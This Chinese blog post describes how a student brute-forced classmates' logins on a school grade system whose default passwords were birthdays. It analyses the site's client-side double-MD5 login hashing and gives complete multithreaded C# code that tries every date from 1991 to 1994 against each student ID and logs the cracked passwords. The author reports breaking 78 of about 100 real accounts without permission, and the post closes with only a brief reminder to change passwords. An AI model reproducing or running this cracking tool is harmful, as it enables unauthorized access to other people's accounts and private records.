背景介紹html
咱們學校的教務系統的是以學生學號做爲登錄帳號,初始密碼是本身的生日。服務器
一點點想法cookie
每次期末查成績的時候,我都會有一個想法,要是我能跑到系統後臺,把本身的成績修改一下,那該時間多麼舒坦的事情啊。固然,我目前還並無這麼作。^_^ 光看本身的成績不過癮,有時候還想看下同窗的成績。怎麼辦呢?忽然,我發現我歷來沒有改過個人密碼,那會不會有不少人像我這樣,沒有改密碼呢?若是是這樣,那麼密碼就應該主要侷限於1991年到1994年的全部日期了,空間集就大大減少了。那我是否是能夠暴力得進行破解呢?若是這樣就直接不停地給服務器發送http數據包,並分析服務器相應的結果,不就能夠了麼?好了,基本的思路我有了,因爲只是在應用層上作文章,我打算用C#實現。網絡
開始嘗試,發現困難多線程
我利用fiddle捕獲了點擊登陸按鈕後,發送給服務器的數據結果如圖:app
這是HTTP數據包的頭部,另外post的數據爲:框架
遮住的部分是個人學號,結果我發現password發送的竟然不是個人生日,而是一串很長的字母數字串,因而我查看網頁源碼,發現裏面有一段這樣的的js語句:ide
<form name="frmLogin" method="post" action="./Servlet/UsersControl" onsubmit="return selectType();"> ……………………………… </form> function selectType() { ………… change(); } function change() { var pw = document.frmLogin.password.value; pw = hex_md5(pw); pw = hex_md5(pw+sharedValue); //用共享數值再次加密 document.frmLogin.password.value = pw ; }
簡單的說一下這一段的意思,form就是咱們提交的表單,點擊登陸按鈕以前調用 selectType(),selectType()在代碼的最後面調用了change()函數,而change()函數改變了咱們提交給服務器的密碼值。並且在change()函數裏shareValue這個值每次請求,服務器返回的值是不同的,服務器經過這個值來對密碼進行加密。這下算是總算明白爲何會提交一串看不懂的數字字母了(並且每次還不同,由於shareValue每次都不同)。函數
進一步挖掘,發現hex_md5這個函數,在一個js文件裏面,這個文件裏面存在這一下加密函數,對輸入參數作了很複雜的變換,我簡單地看了一下里面的邏輯,發現都是一點函數的調用,並無涉及到其餘的文件與資源。到這裏,咱們已經基本瞭解了整個加密過程。因而,只要咱們按照這樣的順序對密碼進行一樣的處理,就能獲得正確的密碼。而在C#有個開源項目 Javascript .NET,能夠經過它去調用並執行Js。post
但問題並無這麼簡單,細心的你觀察Http數據包頭部能夠發現裏面的cookie有三個參數,並且前兩個是經過Js直接設置的,最後一個是服務器設置的。因此經過C#中的HttpWebRequest對象請求,只能獲得最後一個JSESSIONID的值,例外兩個須要在程序裏面另外設置。
最終實現
實現框架:
for :date從1991到1994年全部的日期
if(Crack(學號,date)){
破解成功;
}
bool Crack(學號,日期){
構造合適的HttpWebRequest對象請求登錄頁面;
分析網頁代碼獲得shareValue的值並與日期一塊兒傳遞給加密函數獲得Post數據裏面的password;
將獲得的cookie值提取出來,賦給下一次請求的HttpWebRequest對象,同時添加另外兩個cookie值;
再次發起請求經過分析服務器相應判斷該日期是否正確,正確返回true,不正確返回false;
}
實踐中發現單純使用這種方式破解一個帳號的速度大約是30分鐘,主要緣由是每次網絡請求的開銷比較大。後來我在原來思路的基礎上,加入了多線程的方法,把破解速度提升到平均每3-5分鐘破解一個。
具體代碼:
1 public class Date { 2 public int y1; 3 public int y2; 4 public int m1; 5 public int m2; 6 public int d1; 7 public int d2; 8 public string stuNumber; 9 10 public Date(int a, int b, int c, int d, int e, int f,string num) { 11 y1 = a; 12 m1 = b; 13 d1 = c; 14 y2 = d; 15 m2 = e; 16 d2 = f; 17 stuNumber = num; 18 } 19 }
這個類表明待破解的學號,以及相應的日期區間 從y1-m1-d1到y2-m2-d2。
1 static private bool func(string stunum, string birth) 2 { 3 try 4 { 5 HttpWebRequest rqst = (HttpWebRequest)WebRequest.Create("http://********************"); 6 rqst.CookieContainer = new CookieContainer(); 7 rqst.Accept = "text/html, application/xhtml+xml, */*"; 8 rqst.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"; 9 rqst.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; 10 rqst.Headers["Accept-Language"] = "zh-CN,zh;q=0.3"; 11 rqst.Method = "GET"; 12 rqst.KeepAlive = true; 13 14 HttpWebResponse httpWebResponse = (HttpWebResponse)rqst.GetResponse(); 15 var ttt = httpWebResponse.Cookies; 16 Cookie cookie1 = ttt[0]; 17 18 Stream responseStream = httpWebResponse.GetResponseStream(); 19 StreamReader streamReader = new StreamReader(responseStream, Encoding.ASCII); 20 string html = streamReader.ReadToEnd(); 21 22 StreamReader sr = new StreamReader("md5.js"); 23 string md5 = sr.ReadToEnd(); 24 var lines = html.Split('\n'); 25 string temp = lines[406]; 26 var key = temp.Substring(18); 27 28 using (JavascriptContext ctx = new JavascriptContext()) 29 { 30 var i = ctx.Run(md5); 31 ctx.Run("var sharedValue = " + key + ";" + "pw = '" + birth + "';pw = hex_md5(pw);pw = hex_md5(pw+sharedValue);"); 32 var pw = ctx.GetParameter("pw"); 33 34 CookieContainer objcok = new CookieContainer(); 35 objcok.Add(new Uri("http://****************"), new Cookie("cck_lasttime", "1421808890459")); 36 objcok.Add(new Uri("http://*****************"), new Cookie("cck_count", "0")); 37 objcok.Add(new Uri("*********************"), new Cookie(cookie1.Name.ToString(), cookie1.Value.ToString())); 38 39 HttpWebRequest rqst3 = (HttpWebRequest)WebRequest.Create("http://**************"); 40 rqst3.Method = "POST"; 41 rqst3.ContentType = "application/x-www-form-urlencoded"; 42 rqst3.Referer = "http://****************"; 43 rqst3.Accept = "text/html, application/xhtml+xml, *?*"; 44 rqst3.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"; 45 rqst3.ServicePoint.ConnectionLimit = 300; 46 rqst3.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; 47 rqst3.Headers["Accept-Language"] = "zh-CN,zh;q=0.3"; 48 rqst3.CookieContainer = new CookieContainer(); 49 rqst3.CookieContainer = objcok; 50 51 52 Encoding encoding = Encoding.ASCII; 53 string postDataStr3 = "uid=" + stunum + "&password=" + pw + "&sltType=%D1%A7+%C9%FA&Submit=%C8%B7+%B6%A8&command=studentLogin"; 54 byte[] postData = encoding.GetBytes(postDataStr3); 55 rqst3.ContentLength = postData.Length; 56 Stream requestStream = rqst3.GetRequestStream(); 57 requestStream.Write(postData, 0, postData.Length); 58 59 HttpWebResponse httpWebResponse3 = (HttpWebResponse)rqst3.GetResponse(); 60 Stream responseStream3 = httpWebResponse3.GetResponseStream(); 61 StreamReader streamReader3 = new StreamReader(responseStream3, Encoding.GetEncoding("gb2312")); 62 string html2 = streamReader3.ReadToEnd(); 63 if (httpWebResponse3.ResponseUri.ToString() == "************************") 64 return true; 65 } 66 return false; 67 } 68 catch (Exception e) { 69 Console.WriteLine("error:" +stunum + '\t' + birth); 70 return false; 71 } 72 }
這個是上面所說的的Crack函數;
1 static public void threadFunc(object da){ 2 Date date = (Date)da; 3 for (int y = date.y1; y <= date.y2; y++) 4 { 5 for (int m = date.m1; m <= date.m2; m++) 6 { 7 for (int d = date.d1; d <= date.d2; d++) 8 { 9 if (flag == 1) 10 return; 11 StringBuilder tempStr = new StringBuilder(); 12 tempStr.Append(y.ToString()); 13 if (m < 10) 14 { 15 tempStr.Append("0" + m.ToString()); 16 } 17 else 18 { 19 tempStr.Append(m.ToString()); 20 } 21 if (d < 10) 22 { 23 tempStr.Append("0" + d.ToString()); 24 } 25 else 26 { 27 tempStr.Append(d.ToString()); 28 } 29 if (func(date.stuNumber, tempStr.ToString())) 30 { 31 psword = tempStr.ToString(); 32 flag = 1; 33 break; 34 } 35 } 36 if (flag == 1) break; 37 } 38 if (flag == 1) break; 39 } 40 }
多線程的線程函數,經過傳遞參數的不一樣,對不一樣時間區間同時破解。
1 static void Main(string[] args) 2 { 3 for (int num = ******; num < ******; num++) { 4 Console.WriteLine("0" + num); 5 FileStream fs = new FileStream("dic.txt", FileMode.Append); 6 StreamWriter sw = new StreamWriter(fs, Encoding.Default); 7 Date date1 = new Date(1991, 1, 1, 1991, 3, 31,"0" + num); 8 Date date2 = new Date(1991, 4, 1, 1991, 6, 30, "0" + num); 9 Date date3 = new Date(1991, 7, 1, 1991, 9, 30, "0" + num); 10 Date date4 = new Date(1991, 10, 1, 1991, 12, 31, "0" + num); 11 Date date5 = new Date(1992, 1, 1, 1992, 3, 31, "0" + num); 12 Date date6 = new Date(1992, 4, 1, 1992, 6, 30, "0" + num); 13 Date date7 = new Date(1992, 7, 1, 1992, 9, 30, "0" + num); 14 Date date8 = new Date(1992, 10, 1, 1992, 12, 31, "0" + num); 15 Date date9 = new Date(1993, 1, 1, 1993, 3, 31, "0" + num); 16 Date date10 = new Date(1993, 4, 1, 1993, 6, 30, "0" + num); 17 Date date11 = new Date(1993, 7, 1, 1993, 9, 30, "0" + num); 18 Date date12 = new Date(1993, 10, 1, 1993, 12, 31, "0" + num); 19 Date date13 = new Date(1994, 1, 1, 1994, 3, 31, "0" + num); 20 Date date14 = new Date(1994, 4, 1, 1994, 6, 30, "0" + num); 21 22 Thread thread1 = new Thread(new ParameterizedThreadStart(threadFunc)); 23 Thread thread2 = new Thread(new ParameterizedThreadStart(threadFunc)); 24 Thread thread3 = new Thread(new ParameterizedThreadStart(threadFunc)); 25 Thread thread4 = new Thread(new ParameterizedThreadStart(threadFunc)); 26 Thread thread5 = new Thread(new ParameterizedThreadStart(threadFunc)); 27 Thread thread6 = new Thread(new ParameterizedThreadStart(threadFunc)); 28 Thread thread7 = new Thread(new ParameterizedThreadStart(threadFunc)); 29 Thread thread8 = new Thread(new ParameterizedThreadStart(threadFunc)); 30 Thread thread9 = new Thread(new ParameterizedThreadStart(threadFunc)); 31 Thread thread10 = new Thread(new ParameterizedThreadStart(threadFunc)); 32 Thread thread11 = new Thread(new ParameterizedThreadStart(threadFunc)); 33 Thread thread12 = new Thread(new ParameterizedThreadStart(threadFunc)); 34 Thread thread13 = new Thread(new ParameterizedThreadStart(threadFunc)); 35 Thread thread14 = new Thread(new ParameterizedThreadStart(threadFunc)); 36 37 thread1.Start(date1); 38 thread2.Start(date2); 39 thread3.Start(date3); 40 thread4.Start(date4); 41 thread5.Start(date5); 42 thread6.Start(date6); 43 thread7.Start(date7); 44 thread8.Start(date8); 45 thread9.Start(date9); 46 thread10.Start(date10); 47 thread11.Start(date11); 48 thread12.Start(date12); 49 thread13.Start(date13); 50 thread14.Start(date14); 51 52 thread1.Join(); 53 thread2.Join(); 54 thread3.Join(); 55 thread4.Join(); 56 thread5.Join(); 57 thread6.Join(); 58 thread7.Join(); 59 thread8.Join(); 60 thread9.Join(); 61 thread10.Join(); 62 thread11.Join(); 63 thread12.Join(); 64 thread13.Join(); 65 thread14.Join(); 66 67 if (flag == 1) { 68 sw.WriteLine("0" + num + '\t' + psword); 69 flag = 0; 70 } 71 sw.Close(); 72 fs.Close(); 73 } 74 }
主函數寫得有點醜。你們請見諒,若是你們有更優雅的方法實現,能夠指教一下。
大體的過程就是這樣,最後說說成果吧,我對咱們班100來號人的帳號進行了嘗試,結果破解了78位同窗的帳號,這個過程大概花了一整個下午的時間。原來大部分人都和我同樣,沒有改密碼。在此提醒哪些不應初始密碼的同窗,不應初始密碼,就至關於告訴了別人你的密碼空間是什麼樣的,這將大大下降破解的時間,因此但願可以引發你們對修改密碼必要性的重視。